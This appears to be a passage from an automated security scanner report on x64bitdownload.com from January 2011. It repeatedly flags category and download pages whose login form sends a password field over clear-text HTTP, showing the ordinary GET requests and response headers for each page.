GET /categories/free-64-bit-communications-newsgroup-clients-downloads-3-44-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-other-comms-tools-downloads-3-48-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2248%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76989
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-other-e-mail-tools-downloads-3-49-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2249%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 78664
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-pager-tools-downloads-3-45-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2245%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 44061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-telephony-downloads-3-46-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:36:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2246%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2247%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81928
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-desktop-downloads-4-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:09 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%224%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76654
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-development-downloads-5-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%225%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-education-downloads-6-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:37:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%226%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 74554
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-games-entertainment-downloads-7-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%227%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-graphic-apps-downloads-8-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:38:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%228%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81027
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-home-hobby-downloads-9-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%229%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-multimedia-design-downloads-258-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22258%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-network-internet-downloads-10-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2210%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79744
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-security-privacy-downloads-11-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2211%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86135
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-servers-downloads-12-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2212%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79861
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-system-utilities-downloads-13-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2213%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83609
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-web-development-downloads-14-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2214%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /categories/free-64-bit-widgets-downloads-304-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22304%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /contact.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23053
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /download/t-64-bit-ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:47 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 24883
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-communitymate-download-qeakzpwv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:53 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-cyberlink-youcam-download-gspvirzx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-e107-chat-plugin-for-123-flash-chat-download-kkkispxz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:28 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59907
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-easytether-x64-download-byhsbuvf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53837
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
